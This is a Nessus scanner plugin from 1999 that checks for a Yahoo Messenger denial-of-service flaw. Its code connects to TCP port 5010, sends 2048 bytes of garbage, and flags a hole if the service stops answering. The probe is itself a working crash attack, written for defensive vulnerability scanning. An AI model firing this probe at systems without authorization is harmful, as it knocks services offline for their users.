# # This script was written by Noam Rathaus # # See the Nessus Scripts License for details # # if(description) { script_id(10326); script_version ("$Revision$"); script_cve_id("CAN-2000-0047"); name["english"] = "Yahoo Messenger Denial of Service attack"; script_name(english:name["english"]); desc["english"] = "It is possible to cause Yahoo Messenger to crash by sending a few bytes of garbage into its listening port TCP 5010. Solution: Block those ports from outside communication Risk factor : Low"; script_description(english:desc["english"]); summary["english"] = "Yahoo Messenger Denial of Service attack"; script_summary(english:summary["english"]); script_category(ACT_DENIAL); script_copyright(english:"This script is Copyright (C) 1999 SecuriTeam"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); script_require_ports(5010); exit(0); } # # The script code starts here # if (get_port_state(5010)) { sock5010 = open_sock_tcp(5010); if (sock5010) { send(socket:sock5010, data:crap(2048)); close(sock5010); sock5010_sec = open_sock_tcp(5010); if (sock5010_sec) { security_warning(port:5010, data:"Yahoo Listening port is open."); } else { security_hole(5010); } } }